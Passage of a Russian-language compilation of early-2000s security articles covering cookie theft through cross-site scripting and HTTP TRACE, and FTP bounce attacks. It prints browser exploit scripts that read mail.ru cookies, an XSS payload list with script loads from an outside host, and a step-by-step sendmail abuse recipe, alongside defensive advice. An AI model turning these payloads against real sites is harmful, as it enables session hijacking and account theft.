Blow-fish, а где-то подойдёт рюкзачная система шифрования. Не будем забывать о том, что, во-первых, злоумышленник не должен вообще знать о том какая криптосистема применяется для защиты данных, и, во-вторых, он не должен иметь возможности получать в каком либо виде криптотекст и уж тем более доступ к самой программе-кодеру. Но даже в этом случае нельзя быть на 100% уверенным в защите ваших данных. Однако, это лучше чем не предпринимать вообще ничего :). При грамотном администрировании, таком, как ограничение доступа к данным (принцип наименьших привилегий), возможность выполнения программы на сервере только тому, кому это разрешено, можно существенно снизить все основные угрозы безопасности ваших данных. Заключение В данной работе было представлено приложение, с помощью которого пользователь имеет возможность легко и быстро кодировать и декодировать текстовые документы, а также задавать параметры системы шифрования. На практике эта идея была реализована при помощи рюкзачной системы шифрования, и применена для реальной защиты базы данных от несанкционированного доступа. Приложение может быть использовано как администраторами баз данных, так и системными администраторами, в качестве дополнения к стандартным средствам безопасности. Для создания программы был использован пакет Borland C++, Version 5.01 фирмы Borland. После этапа отладки и компиляции программа была перенесена в среду Unix, что позволило применить её на Sun-сервере, для реально существующей базы данных.
Andrew: 9. Фальсификация cookie 1 Описание технологии cookie. 1Что такое cookie? Cookie является решением одной из наследственных проблем HTTP спецификации. Эта проблема заключается в непостоянстве соединения между клиентом и сервером, как при FTP или Telnet сессии, т.е. для каждого документа (или файла) при передаче по HTTP протоколу посылается отдельный запрос. Включение cookie в HTTP протокол дало частичное решение этой проблемы. Cookie - это некое значение в текстово-цировом виде, которое сервер передает браузеру. Браузер будет хранить эту информацию и передавать ее серверу с каждым запросом как часть HTTP заголовка. Одни значения cookie могут храниться только в течение одной сессии и удаляются после закрытия браузера. Другие, установленные на некоторый период времени, записываются в файл. Вот как выглядит схема работы удаленного хоста и клиента через Интернет: Сами по себе cookies ничего не могут делать. Однако сервер может считывать содержащуюся в cookies информацию и на основании ее анализа совершать те или иные действия. Клиент имеет следующие ограничения для cookies: всего может храниться до 300 значений cookies каждый cookie не может превышать 4Кбайт с одного сервера или домена может храниться до 20 значений cookies В случае, если cookie принимает новое значение при имеющемся уже в броузере cookie с совпадающими данными, старое значение затирается новым. В остальных случаях новые cookies добавляются. 1.2 Применение cookie. Ипользование cookie - эффективное решение сохранения пользователькой информации. Многие считают их опасными, якобы они могут заразить компьютер вирусом или украсть их пароль подключения к Интернету. Как ни странно это утверждение является ошибочным. Но считать cookie безопасными тоже нельзя. Для примера приведу несколько примеров их использования и их «опасности»: 1 Вы пользуетесь почтой с WEB интерфейсом. Чтобы не вводить пароль при каждом входе на ваш почтовый ящик, вы ставите галочку возле надписи «Сохранить пароль». Вследствии чего иформация с вашим логином и паролем сохраняется в cookie и при каждом входе на почту пароль и логин установлятся автоматически. 2 Похожий пример можно привести и с Интернет магазинами. Заполнив форму с данными о вашей кредитной карточке они сохраняются и при следующей покупке вам не придется заполнять все заново. Это удобно с точки зрения пользователя, но о безопасности данной технологии не может быть и речи. Хотя некоторые методы защиты все-таки используются: Информация из Cookie одного домена второго уровня (плюс подуровни) не может быть прочитана другими доменами. Если документ кэшируется, то информация о cookie не кэшируется. Информация Cookie может передаваться с помощью протокола SSL. 1.3 Установка cookie. Установка cookie делается посредствам HTTP протокола. Например, клиент получив от сервера строку: Set-Cookie: name=value; EXPIRES=date; DOMAIN=domain_name; PATH=path; SECURE «Запомнит», что для сервера domain_name необходимо установить значение переменной name в value. Вот краткое описание значения каждой переменной: NAME=VALUE - строка символов, исключая перевод строки, запятые и пробелы. NAME-имя cookie, VALUE - значение. expires=DATE - время хранения cookie, т.е. вместо DATE должна стоять дата в формате Wdy, DD-Mon-YYYY HH:MM:SS GMT, после которой истекает время хранения cookie. Если этот атрибут не указан, то cookie хранится в течение одного сеанса, до закрытия броузера. domain=DOMAIN_NAME - домен, для которого значение cookie действительно. Например, domain=domen.com. В этом случае значение cоokie будет действительно и для сервера domen.com, и для www.domen.com. Но не радуйтесь, указания двух последних периодов доменных имен хватает только для доменов иерархии «COM», «EDU», «NET», «ORG», «GOV», «MIL», и «INT». Для доменов иерархии «RU» придется указывать три периода. Если этот атрибут опущен, то по умолчанию используется доменное имя сервера, с которого было выставлено значение cookie. path=PATH - этот атрибут устанавливает подмножество документов, для которых действительно значание cookie. Например, указание path=/win приведет к тому, что значение cookie будет действительно для множества документов в директории /win/, в директории /wings/ и файлов в текущей директории с именами типа wind.html и windows.shtml Если этот атрибут не указан, то значение cookie распространяется только на документы в той же директории, что и документ, в котором было установлено cookie. secure - если стоит такой маркер, то информация cookie пересылается только через HTTPS (HTTP с использованием SSL). Если этот маркер не указан, то информация пересылается обычным способом. Разные языки программирования предлагают свою реализацию изменения cookie. Давайте рассмотрим некоторые из них: 1. HTML позволяет изменить значения печеньек(именно так переводится слово «cookie») так: ‹META HTTP-EQUIV=«Set-Cookie» CONTENT=«name=john; EXPIRES=Friday,31-Dec-02 23:59:59 GMT; DOMAIN=server.ru; PATH=/users/; SECURE»› 2. Реализация на Perl: print «Set-Cookie: name=john; expires=Friday,31-Dec-02 23:59:59 GMT; path=/users/; domain=server.ru;\n\n»; 3. То же на JavaScript: document.cookie=«name=john; expires=Friday,31-Dec-02 23:59:59 GMT; path=/users/; domain=server.ru;»; 1.4 Чтение cookie. Чтобы прочитать скриптом значение cookie, которое было установлено ранее, и соответствующим образом выполнить скрипт, используется переменная окружения HTTP_COOKIE. 1. На Perl это будет выглядеть так: $cookie = $ENV{’HTTP_COOKIE’}; 2. При использовании SSI для просмотра значения cookie можно применить директиву: ‹!--#echo var=«HTTP_COOKIE»--› 3. JavaScript может прочитать значение использовав свойство обьекта document: var strCokie=document.cookie; Когда запрашивается документ с HTTP сервера, броузер проверяет свои cookie на предмет соответствия домену сервера и прочей информации. В случае, если найдены удовлетворяющие всем условиям значения cookie броузер посылает их в серверу в виде пары имя/значение: Cookie: name=john; После всего это неискушенному пользователь может показатся, что опасности в данной технологии нет. Но это только на первый взгляд... 2 Способы фальсификации cookie. 2.1 Общая информация. Подменить Cookie намного проще, чем их прочитать. Хотя если речь идет о удаленном компьютере, то задачи становятся равносильными. Дело в том, что подмена - это простая отправка Cookie на сервер, а чтение разрешено только серверу. Для реализации чтения используется так называемая технология Cross Site Scripting(СSS или XSS, назван так, чтобы избежать путаницы с CSS, aka Cascade Style Sheets). По заявлению «Panda Software Russia» данная уязвимость присутствует в следующих браузерах: Mozilla (версии до 0.9.7.) Netscape (версии до 6.2.1.) MS Internet Explorer (5.5 и 6.0.) Я считаю, этого достаточно, так-как это самые распространенные браузеры в сети Интернет. Cross Site Scripting можно осуществить через уязвимость в броузере или некорректное Web програмирование. Давайте рассмотрим все по порядку. 2.2 Методы фальсификации XSS имеет два варианта реализации: A: Уязвимость броузера B: Уязвимость Internet ресурса Каждый выбирает свой вариант, в зависимости от конкретной ситуации. Атака через уязвимость в броузере удобна ее универсальностью по отношению к Web ресурсам. В то же время она не будет эффективна, если пользователь использует иной броузер(а иногда и другую его версию). Уязвимость Internet ресурса - наоборот, безразлична к броузеру, но работает только с одним сайтом. 2.2.1 Уязвимость броузера Буквально всю первую половину 2002 года на BUGTRAQ, почти ежедневно, поступали сообщения о уязвимостях Internet Explorer и других броузеров. На данный момент последнее, насколько мне извесно, известие за 24.10.2002 гласит: «При передаче данных между окнами броузер проверяет, находятся ли они в одной зоне безопасности и в одном домене. Всего компания GreyMagic Security нашла девять способов обойти проверку и все они связаны с кэширование объектов.... ‹script› var oWin=open(«blank.html»,«victim»,«width=100,height= 100»); var fVuln=oWin.document.getElementById; location.href=«http://www.mail.ru»; setTimeout( function(){ alert(fVuln(«ElementIdInNewDoc»).document.cookie); } ,3000); ‹/script› IE 5 SP2 и IE6 SP1 не уязвимы.» Как видно IE5-SP2 и IE6-SP1 не уязвимы. Для них есть другой експлоит за 16.10.2002: «Элементы ‹frame› и ‹iframe› могут содержать URL других доменов или протоколов, поэтому для них созданы более строгие правила защиты, которые предотвращают доступ из фрейма одного домена к содержанию другого домена. Есть несколько способов обратится к ‹iframe› (или ‹frame›) документам в Internet Explorer (‹iframe id=«oFrameId»›): oFrameId.document document.all.oFrameId.contentWindow.document frames.oFrameId.document И другие Все эти методы правильно обрабатываются Internet Explorer и он предотвращает любую попытку обращения к документу, который принадлежит другому домену. Однако Microsoft пропустил одно важное свойство - «Document». Обнаружено, что когда используется «oIFrameElement.Document», и возращенный документ содержится внутри frame, не происходит никаких проверок защиты, находится ли документ в другом домене. Уязвимость позволяет атакующему получить доступ к DOM другого домена, и украсть cookie любого сайта, читать локальные файлы и выполнять произвольный код на системе клиента. Пример (читает cookie mail.ru): ‹script› onload=function () { setTimeout( function () { alert(document.getElementById(«oVictim»).Document. cookie); }, 100 ); } ‹/script› ‹iframe src=«http://www.mail.ru» id=«oVictim»›‹/iframe› Уязвимость обнаружена в Internet Explorer 5.5sp2-6.0.» Как можно использовать эти уязвимости? Вот один из возможных сценариев. Некий пользователь имеет почту на www.mail.ru. Поставив галочку «Сохранить пароль», все его данные сохраняются в cookies. Теперь есть два варианта развития сценария: 1. Если есть физический или удаленный доступ к компьютеру. 2. Если доступа нет. Для первого варианта нам просто нужно запустить експлоит. Для второго варианта нужен способ заставить пользователя запустить скрипт. Именно тут и возникает вопрос эффективности данного метода. При отсутствии физического или удаленного доступа к компьютеру надежнее использовать Уязвимость Internet ресурса. И наоборот. Схема «захвата» cookie имеет такой вид: При необходимости эти данные можно перенести на другой компьютер или изменить. Делается это следующим образом: ‹script› onload=function () { setTimeout( function () { document.getElementById(«oVictim»).Document.cookie =«name=value»; }, 100 ); } ‹/script› ‹iframe src=«http://www.mail.ru» id=«oVictim»›‹/iframe› Cookie можно не изменять, а послать запрос на сервер с уже измененными данными: GET /URL HTTP/1.0 Set-Cookie: name=value; EXPIRES=date; DOMAIN=domain_name; PATH=path; SECURE 2.2.2 Уязвимость Internet ресурса Уязвимость Internet ресурса - это некая уязвимость некорректно написаного скрипта(PHP, Perl/CGI, Phyton... ). В данном случае нас интересует отсутствие фильтрации передаваемых параметров или ее слабая реализация. Реальным примером может стать недавнее упоминание о уязвимости на www.mail.ru: «Пользователи mail.ru, могут подвергнутся некому риску. Дело в том, что запрос вида http://win.mail.ru/cgi-bi...sgok?To=text&Subject=text не проверяет значения передаваемых данных на Java Script. Это дает возможность злоумышленнику прочитать cookie пользователя...» Чтение cookie, следовательно можно использовать так: http://win.mail.ru/cgi-bi...RIPT›alert(’XSS’)‹/SCRIPT› Замечу, что данный метод неуместен если на сервере нет уязвимостий или они неизвестны. 2.2.3 Особое мнение Некоторые способы имеют приоритет, но только в определенных ситуациях. Выбор метода остается за атакующим и зависит от конкретной ситуации. 2.3 Обзор XSS При использовании уязвимости Internet ресурса можно применить список различных тегов, выполняющих одинаковые действия - выводящие сообщения «XSS»: ‹SCRIPT›alert(’XSS’)‹/SCRIPT› ‹SCRIPT src=«http://www.host.com/script.js»›‹/SCRIPT› (http://www.host.com/script.js путь к внедренному скрипту) ‹BODY onLoad=«alert(’XSS’)»› ‹LAYER src=«http://www.host.com/script.js»›‹/LAYER› (http://www.host.com/script.js путь к внедренному скрипту) ‹ILAYER src=«http://www.host.com/script.js»›‹/ILAYER› (http://www.host.com/script.js путь к внедренному скрипту) ‹LINK rel=stylesheet type=«text/javascript» SRC=«http://www.host.com/script.js»› (http://www.host.com/script.js путь к внедренному скрипту) ‹IMG SRC=«image.jpg» onError=«alert(’XSS’)»› (image.jpg не существует) ‹IMG SRC=«JavaScript:alert(’XSS’)»› ‹IMG SRC=«image.jpg» onLoad=«alert(’XSS’)»› (image.jpg существует) ‹META HTTP-EQUIV=«Refresh» content =«1; URL=JavaScript:alert(’XSS’)»› ‹STYLE TYPE=«text/css»› @import url(http://www.host.com/script.js); ‹/STYLE› (http://www.host.com/script.js путь к внедренному скрипту) ‹STYLE type=«text/javascript»›alert(’XSS’);‹/STYLE› ‹p style=«left:expression(eval(’alert(\’XSS\’)’))»› 2.4 Хищение cookie при помощи Trace С выходом SP1 (Октябрь 2002) должна была исчезнуть уязвимость XSS в броузере Internet Explorer. Действительно, чтение cookie стало невозможным. Теперь при попытке обращения к cookie, броузер возвращал вместо значения пустую строку. Давайте взглянем на следующий пример: ‹script› function normalCookie() { document.cookie = «Cookie=Value»; alert(document.cookie); } function httpOnlyCookie() { document.cookie = «Cookie=Value; httpOnly»; alert(document.cookie); } ‹/script› ‹FORM› ‹INPUT TYPE=BUTTON OnClick=«normalCookie();» VALUE=«Display Normal Cookie»› ‹INPUT TYPE=BUTTON OnClick=«httpOnlyCookie();» VALUE=«Display HTTPONLY Cookie»› ‹/FORM› Нажав на первую кнопку мы увидим значение переменной document.cookie. А при попытке обращения к document.cookie с установленным флагом HttpOnly броузер возвращает пустую строку: Казалось бы, данная технология должна обеспечить безопасность конфиденциальных данных. Но 1 Ноября 2002 года Jeremiah Grossman из WhiteHat предложил свой сценарий получения доступа к cookie. Для понимания дальнейшего материала необходимо ознакомится с методом запроса «Trace». Метод TRACE используется для получения ответного сообщения на запрос на уровне приложения. Конечному получателю запроса СЛЕДУЕТ отразить полученное сообщение обратно клиенту как объект ответа с кодом состояния 200 (OK). Конечным получателем является либо сервер, либо первый прокси-сервер, либо первый шлюз, получивший нулевое значение (0) в поле Max-Forwards в запросе. TRACE позволяет клиенту видеть, что получается на другом конце цепочки запросов и использовать эти данные для тестирования или диагностической информации. Если запрос успешно выполнен, то ответу СЛЕДУЕТ содержать все сообщение запроса в теле объекта (entity-body), а Content-Type следует быть равным «message/http». Ответы на этот метод не кэшируются. Иными словами TRACE возвращает пользователю те данные которые были отосланы в запросе. Он состоит из следующих данных: 1. Строка запроса (Request line) 2. Заголовки (Headers) 3. Отсылаемые данные (Post data) Apache, IIS и iPlanet поддерживают по умолчанию запрос TRACE согласно протоколу HTTP/1.1. Давайте взглянем как происходит запрос TRACE: [digitalscream@planet]$ telnet mail.ru 80 Trying 194.67.57.51... Connected to mail.ru. Escape character is ‘^]’. TRACE / HTTP/1.1 Host: mail.ru X-Header: test HTTP/1.1 200 OK Date: Tue, 04 Feb 2003 16:11:06 GMT Server: 3WservRT 2001,VxWorks 5.4 Transfer-Encoding: chunked Content-Type: message/http TRACE / HTTP/1.1 Host: mail.ru X-Header: test WhiteHat предложили список серверов, которые поддерживают запрос TRACE: www.passport.com www.yahoo.com www.disney.com www.securityfocus.com www.redhat.com www.go.com www.theregister.co.uk www.sun.com www.oracle.com www.ibm.com От себя добавлю, что и www.mail.ru можно смело добавить в этот список. Поскольку наша цель это - чтение cookie, значит использование document.cookie нам не принципиально. Поскольку значения cookie передаются на сервер вместе с запросом, то становится ясна возможность использования запроса TRACE для наших темных дел. Но заставить броузер отправить запрос TRACE не так просто, потому как он использует в качестве метода запроса POST или GET. Для обхода этих ограничений и посылки специально отформатированного HTTP запроса на целевой сервер, необходима расширенная технология скриптов на клиентском компьютере. Некоторые технологии позволяют нам добиться необходимых результатов. Jeremiah Grossman предложил использовать ActiveX - XMLHTTP: ‹script› function sendTrace () { var xmlHttp = new ActiveXObject(«Microsoft.XMLHTTP»); xmlHttp.open(«TRACE», «http://mail.ru»,false); xmlHttp.send(); xmlDoc=xmlHttp.responseText; alert(xmlDoc); } ‹/script› ‹INPUT TYPE=BUTTON OnClick=«sendTrace();» VALUE=«Send Trace Request»› Результатом будет следующее сообщение:
Andrew: Используя ActiveX компонент XMLHTTP, мы отсылаем запрос TRACE на целевой web сервер. Если есть поддержка TRACE, броузер покажет данные отосланные вместе с HTTP запросом. Internet Explorer отсылает по умолчанию данные, а JavaScript выводит окно с содержанием HTTP запроса. Если ваш браузер имеет cookie от удаленного сервера, или находится на сервере используя WEB авторизацию, то следовательно данные могут быть перехвачены злоумышленником. Эта технология гарантирует обход атрибута «HttpOnly», потому что не используется функция document.cookie. Но самое страшное то, что от CROSS-SITE TRACING не спасает даже SSL. На данном этапе важно осознать две вещи. 1 Данная технология поддерживается Internet Explorer. 2 Mozilla/Netscape воспринимают такие cookie, как обычные. При использовании TRACE запрос должен исходить со скрипта принадлежащего одному домену с целевым сервером. Так, скрипт который посылает запрос TRACE и соединяется с mail.ru должен принадлежать серверу mail.ru. Технология доменных ограничений помогает защитить пользователей от XSS. Для обхода данного ограничения существуют два варианта: XSS в контексте броузера или сервера. Если возможность XSS присутствует на сервере, то предыдущий сценарий и будет эксплоитом. А для использования изъянов в броузере нужно воспользоваться таким сценарием: 1 Создание эксплоита для получения доступа в другую доменную зону (в принципе этого хватает если не используется флаг «НttpOnly»). 2 Задание в качестве исполняемого кода сценария запроса TRACE. Для примера воспользуемся изъяном, обнаруженным GreyMagic Security. ‹script› function xssDomain() { var oWin=open(«blank.html»,«victim»,«width=500,height= 400»); var oVuln=oWin.external; oWin.location.href=”http://mail.ru”; setTimeout( function () { oVuln.NavigateAndFind(‘javascript: xmlHttp=new ActiveXObject(“Microsoft.XMLHTTP”); xmlHttp.open(“TRACE”,”http://mail.ru”,false); xmlHttp.send(); xmlDoc=xmlHttp.responseText; alert(xmlDoc); ’,””,””); } ,2000); } ‹/script› ‹INPUT TYPE=BUTTON OnClick=”xssDomain();” VALUE=’TRACE XSS Domain’› } Данный пример не будет работать если установлен патч MS02-068. Но, тем не менее, вот следующий пример, работающий даже после установки патча: ‹script› function xssDomainTraceRequest(){ var exampleCode = «var xmlHttp = new ActiveXObject(\«Microsoft.XMLHTTP\»)\; xmlHttp.open(\«TRACE\»,\«http://mail.ru\»,false)\; xmlHttp.send()\; xmlDoc=xmlHttp.responseText\; alert(xmlDoc)\;»; var target = «http://mail.ru»; cExampleCode = encodeURIComponent(exampleCode + ’;top.close()’); var readyCode = ’font-size:expression(execScript(decodeURIComponen t(»’ + cExampleCode + ’»)))’; showModalDialog(target, null, readyCode); } ‹/script› ‹INPUT TYPE=BUTTON OnClick=«xssDomainTraceRequest()» VALUE=”Show Cookie Information Using TRACE”› Тут используется уязвимость функции showModalDialog. Уязвимость была найдена Larholm’ом, который, кстати, указывает, что ничего нового в этой технологии нет, а представляет она собой только несколько переиначенную уязвимость XSS. В самом описании он говорит, что это - «hyped, sensationalised snakeoil». Впрочем, другой исследователь безопасности, Peter Watkins, придерживается противоположного мнения, указывая, что указанная особенность работает и в броузере Mozilla. 2.5 Безопасность технологии .NET Хорошим тоном программирования считается удалять из памяти некоторые данные если они длительное время не используются. Это относится и к данным cookie. Эти меры предосторожности необходимы для защиты конфиденциальной информации. Ведь аттакующему может удастся прочитать их используя уязвимости типа Buffer Overflow, Buffer Overrun, или прочитав дамп web приложения при его аварийном завершении... . Для примера давайте взглянем на программу написанную на Microsoft Visual C++® .NET и определим есть ли в ней ошибки. BOOL DoStuff() { char pPwd[128]; size_t cchPwd = sizeof(pPwd) / sizeof(pPwd[0]); BOOL fOK = false; if (GetPassword(pPwd, &cchPwd)) fOK = DoSecretStuff(pPwd, cchPwd); memset(pPwd, 0, sizeof(pPwd)); return fOK; } Ошибок здесь нет. Пользовательский пароль запрашивается(например с cookie) проверяется и сразу уничтожается(заполняется нулями). Но в ходе работы программой используется функция mempy или strcpy, что при некоторых ситуациях создает угрозу аттаки Buffer Overrun или что-то вроде этого. Казалось бы, никаких проблем с безопасностью пароля быть не может, ведь он обнуляется. Но давайте взглянем на откомпилированный код: ?DoStuff PROC NEAR ; Line 14 sub esp, 68 ; 00000044H mov eax, DWORD PTR ___security_cookie xor eax, DWORD PTR __$ReturnAddr$[esp+64] push esi mov DWORD PTR __$ArrayPad$[esp+72], eax ; Line 19 lea eax, DWORD PTR _pPwd$[esp+72] push 64 ; 00000040H push eax xor esi, esi call ?GetPassword add esp, 8 test eax, eax je SHORT $L30117 ; Line 20 push 64 ; 00000040H lea ecx, DWORD PTR _pPwd$[esp+76] push ecx call ?DoSecretStuff add esp, 8 pop esi ; Line 25 mov ecx, DWORD PTR __$ArrayPad$[esp+68] xor ecx, DWORD PTR __$ReturnAddr$[esp+64] add esp, 68 ; 00000044H jmp @__security_check_cookie@4 $L30117: mov ecx, DWORD PTR __$ArrayPad$[esp+72] xor ecx, DWORD PTR __$ReturnAddr$[esp+68] mov eax, esi pop esi add esp, 68 ; 00000044H jmp @__security_check_cookie@4 ?DoStuff ENDP Чего-то не хватает? Оптимизатор удалил строку «memset(pPwd, 0, sizeof(pPwd));»! Следовательно пароль все время хранится в памяти. Далее остается дело за проффесионалами. Этот способ позволяет и читать cookie с установленным флагом httpOnly. Но аттака предложенная Michael’ом Howard’ом слишком сложна в реализации и поэтому данный способ -- малоэффективен. Но возможно, при таком интенсивном развитии в области информационных технологий, это будет единственный способ получения конфиденциальной информации, несмотря на простое решение данной проблеммы: #ifndef FORCEINLINE #if (MSC_VER ›= 1200) #define FORCEINLINE __forceinline #else #define FORCEINLINE __inline #endif #endif ... FORCEINLINE PVOID SecureZeroMemory( void *ptr, size_t cnt) { volatile char *vptr = (volatile char *)ptr; while (cnt) { *vptr = 0; vptr++; cnt--; } return ptr; } Данный пример -- функция очистки области памяти. Его преимущество в «неоптимизации», хотя такой код проиграет по скорости работы. Еще одним хорошим решением будет выключение оптимизации: #pragma optimize(«g»,off) 3 Способы защиты cookie Как выход из сложившегося положения - шифрование данных. Этот способ не поможет при попытке подмены cookie, но эффективен при попытках чтения данных. При написании WEB приложений важно не забывать о таких вещах как: флаг httpOnly фильтрация входных данных шифрование на основе открытого и приватного ключей. (Шифрование наподобие XOR малоэффективно) Более детально все описано в самом документе. Наша безопасность зависит только от нас самих и только мы определяем какой ее уровень является необходимым. Я не пытаюсь развить у вас чувство паранои но и быть легкомысленным тоже не стоит... Отдельное спасибо uinC Team за поддержку. Использованние материала разрешено только при условии указания автора и источника. цитата DigitalScream, (digitalscream@userline.ru) Статья написана специально для UInC (http://www.uinc.ru)
Andrew: 10. Уязвимости FTP сервисов Общие сведения о FTP уязвимостях. FTP-спецификация содержит множество механизмов, которые могут использоваться для обхода систем безопасности. FTP позволяет пользователю пересылать файлы с сервера на другой компьютер. Эта технология, известная как proxy FTP, вызывает хорошо известные проблемы защиты. FTP спецификация позволяет провести неограниченное число попыток по вводу пароля пользователя. Это позволяет провести подбор пароля. File Transfer Protocol specification (FTP) позволяет пользователю установить FTP-соединение и пересылать файлы между 2-мя FTP серверами. Этот механизм используется для уменьшения полезного трафика в сети. Это особенно эффективно при использовании медленного соединения (например, модем). Proxy FTP вызывает проблему, известную как «bounce attack»- подробнее о ней ниже . Также FTP может использоваться для подбора пароля. FTP Bounce атака. Введение. Уже несколько лет, проходят постоянные дискуссии о проблемах связанных с командой PORT в FTP протоколе. Эти проблемы основаны на неправильном использовании команды PORT в FTP протоколе. Хотя эта проблема была обнаружена несколько лет назад, но она до сих пор не потеряла своей актуальности. 1.FTP протокол. Чтобы понять атаку надо иметь представление о FTP протоколе (Postel, J., and J. Reynolds, «File Transfer Protocol,» STD 1, RFC 959, USC/Information Sciences Institute, October 1985.)[1] Сначала клиент открывает соединение на управляющем порту FTP (порт 21) FTP сервера. Так чтобы сервер потом мог послать данные на машину клиента, потом соединение должно быть открыто между сервером и клиентом. Чтобы осуществить это второе соединение, клиент посылает команду PORT на сервер. Эта команда включает параметры, которые говорят серверу с каким IP адресом надо соединиться и какой порт открыть по этому адресу - в большинстве случаев это предположительно будет порт с большим номером на машине клиента. Сервер затем открывает это соединение, источником соединения является 20 порт на сервере, а приемник - это порт идентифицирующийся по параметрам команды PORT . Команда PORT обычно используется в «active mode» FTP, по умолчанию. И обычно не используется в passive ( также известный как PASV [2]) mode. Имейте введу, что серверы обычно поддерживают оба режима, а клиент определяет какой из методов использовать [3]. 2. The FTP Bounce Attack В соответствии FTP протоколу, команда PORT формируется для каждого клиента специфически - соответственно и порт на стороне клиента тоже. Но это также означает, что атакующий может открыть соединение на порт по своему выбору на машине которая возможно не является истинным клиентом. Получение этого соединения на произвольной машине - это и есть FTP bounce attack. Для иллюстрирования привожу несколько примеров ее использования. 3.1 Port scanning. Атакующий желает произвести сканирование порта хоста и может это сделать с анонимно через FTP сервер который выступает в качестве этапа сканирования. Хост жертвы видит сканирование исходящее от FTP сервера, а не истинный источник ( FTP клиент ). При некоторых обстоятельствах, эта техника представляет атакующему большие преимущества - это точное скрытие реального источника исследования . Когда предположительная жертва в этой подсети является FTP сервером, или когда не фильтруется трафик исходящий с FTP сервера, атакующий может использовать сервер как источник сканирования портов, что предпочтительней чем машину клиента, таким образом удается обойти ограничение доступа, которое могло в противном случае фильтроваться Firewall. 3.2 Обход Firewall. Атакующий может обойти firewall (или другую ограничивающую защиту) в определенных конфигурациях сети. Например, допустим, что хост имеет анонимный FTP сервер за firewall . Используя вышеуказанную технологию сканирования портов атакующий определяет, что внутренний web сервер на этом хосте находится на 8080 порту, порт нормально блокируется firewall. При соединении на public FTP сервер на хосте, атакующий инициирует дальнейшее соединение между FTP сервером и произвольным портом на внутренней машине на хосте (например внутренний web сервер на 8080 порту ). В результате , атакующий устанавливает соединение с машиной которая в противном случае защищается firewall. 3.3 Пример атаки на sendmail. - Находим сервер который разрешает uploads . - Upload’им на туда файл содержащий SMTP диалог для посылки сообщения - Даем команду PORT victim-ip,25 - Даем команду RETR filename Тоже самое можно проделать и с диалогом NNTP . 4. Решения. - Защита от Bounce Attack Оригинальная FTP спецификация подразумевает соединение при помощи Transmission Control Protocol (TCP). Порты TCP от 0 до 1023 зарезервированы для таких сервисов, как почта, сетевые новости и контроль FTP соединений. FTP спецификация не имеет ограничений на номер TCP порта, используемый для соединения. При помощи proxy FTP пользователь может провести при помощи сервера атаку сервисов на любой машине. Для избежания подобных атак необходимо запретить открытие соединения в портах TCP, меньших 1024. Если сервер получает команду PORT с параметром, меньшим 1024, сервер отвечает 504 (определено как «Command not implemented for that parameter»). Однако это всё еще оставляет уязвимыми сервисы, запускаемые на портах более чем 1024. Некоторые источники предлагают использование другого протокола (не TCP). Нужно учесть, что bounce attack требует закачки файла на FTP сервер и последующую его перекачку на атакуемый сервис. Использование файловых защит устранит эту возможность. Взломщик также может атаковать сервис посылкой случайных данных с FTP сервера, что может доставить некоторые проблемы сервисов. Отключение команды PORT также может быть использовано для защиты от атак. Большинство файловых пересылок может быть сделано при помощи команды PASV. Однако в таком случае proxy FTP не может быть использовано. - Допускать в параметрах команды PORT только IP клиента. - Либо не поддерживать FTP вообще. 5. Какие сервера подвержены этой уязвимости . По данным статьи «The Art of scanning ports» by Fyodor mailto:fyodor@dhp.com В сканер nmap уже есть такая возможность сканить порты через FTP . *Bounce attacks worked:* 220 xxxxxxx.com FTP server (Version wu-2.4(3) Wed Dec 14 ...) ready. 220 xxx.xxx.xxx.edu FTP server ready. 220 xx.Telcom.xxxx.EDU FTP server (Version wu-2.4(3) Tue Jun 11 ...) ready. 220 lem FTP server (SunOS 4.1) ready. 220 xxx.xxx.es FTP server (Version wu-2.4(11) Sat Apr 27 ...) ready. 220 elios FTP server (SunOS 4.1) ready *Bounce attack failed:* 220 wcarchive.cdrom.com FTP server (Version DG-2.0.39 Sun May 4 ...) ready. 220 xxx.xx.xxxxx.EDU Version wu-2.4.2-academ[BETA-12](1) Fri Feb 7 220 ftp Microsoft FTP Service (Version 3.0). 220 xxx FTP server (Version wu-2.4.2-academ[BETA-11](1) Tue Sep 3 ...) ready. 220 xxx.unc.edu FTP server (Version wu-2.4.2-academ[BETA-13](6) ...) ready. 3) Использование погрешности в реализации FTP протокола.[4] Дэвид Сэйсердот в своей статье посвященной уязвимости FTP протокола и датированной аж апрелем 1996 года теоретически уязвимость FTP протокола при его некорректной реализации. В статье интересны два момента, причем не связанные напрямую с ее содержанием а именно: 1. С апреля 1996 года проблема нисколько не утратила своей актуальности. Проблема очень серьезная, поскольку позволяет, например, атаковать клиента находящегося за прокси-сервером (подсунув измененные данные прокси серверу вы тем самым подсунете их клиенту). 2. Дэвид ошибался как в оценке уязвимости FTP-клиентов, так и в сложности реализации данной уязвимости, т.к. указанные им методы чересчур сложны для реального использования. Лечиться эта проблема так же должна другими методами: сервер не должен принимать более одного соединения на порт данных (так делает IIS, поэтому против него такая атака работает лишь как DoS, не позволяя подсоединиться клиентам). Клиент в активном режиме должен проверять IP адрес соединения и так же не позволять двух соединений на один порт. Кроме того, при получении сообщения об ошибке или при неожиданном закрытии контрольного сеанса, сторона, принимающая данные, должна эти данные игнорировать (т.е. удалять принятый файл). Кроме того, желательно наличие в протоколе команды вычисляющей контрольную сумму файла (хотя этим можно воспользоваться как DoS атакой - требуются большие ресурсы сервера). Было обнаружено, что стандартный ftp из FreeBSD 2.2.5 (и наверняка любой другой BSD4.2 клиент) уязвим, несмотря на заверения Дэвида в обратном. Так же уязвим практически любой FTPD-based FTP сервер (wu-ftpd, например, практически любой версии или стандартный FTPD) . При этом ftp клиент в Midnight Commander, например, такой проблемы не имеет. Проблема была исследована ЗАРАЗой [4] после чего он написал эксплоит, который использует точь-в-точь алгоритм предложенный Дэвидом больше трех лет назад. Цитата из его статьи по этому поводу: «Может быть я и изобрел велосипед, но, похоже, на этом велосипеде за три года кататься разучились. По крайней мере, посещаемость FTP серверов не упала а защищенность не увеличилась. » - Угадываем, какой порт будет открыт пассивным FTP-сервером или активным клиентом и атакуем этот порт постоянными запросами на TCP соединение. Если соединение удалось установить, мы либо посылаем туда свои собственные данные либо читаем данные оттуда. Либо - и то и другое. Вопрос лишь в том, как угадать порт, а сделать это не сложно, если вы можете использовать атакуемую машину или как FTP сервер, или как прокси или как сервер для отправки почты. В случае атаки на FTP сервер - мы не имеем никаких проблем. - Как работает эксплоит: Открывает соединение на 21й порт сервера и через равные интервалы времени дает команду PASV, на которую сервер любезно отвечает номером открытого порта. Вот именно его мы и используем за основу для вычисления атакуемого порта. Соединение устанавливается, программа переходит в режим ожидания данных. Если в течении 5 секунд данные не поступили, то программа сама посылает данные. Работает как против сервера, так и против клиента (при условии, что на машине клиента так же живет FTP-Сервер). Можно атаковать клиента и используя 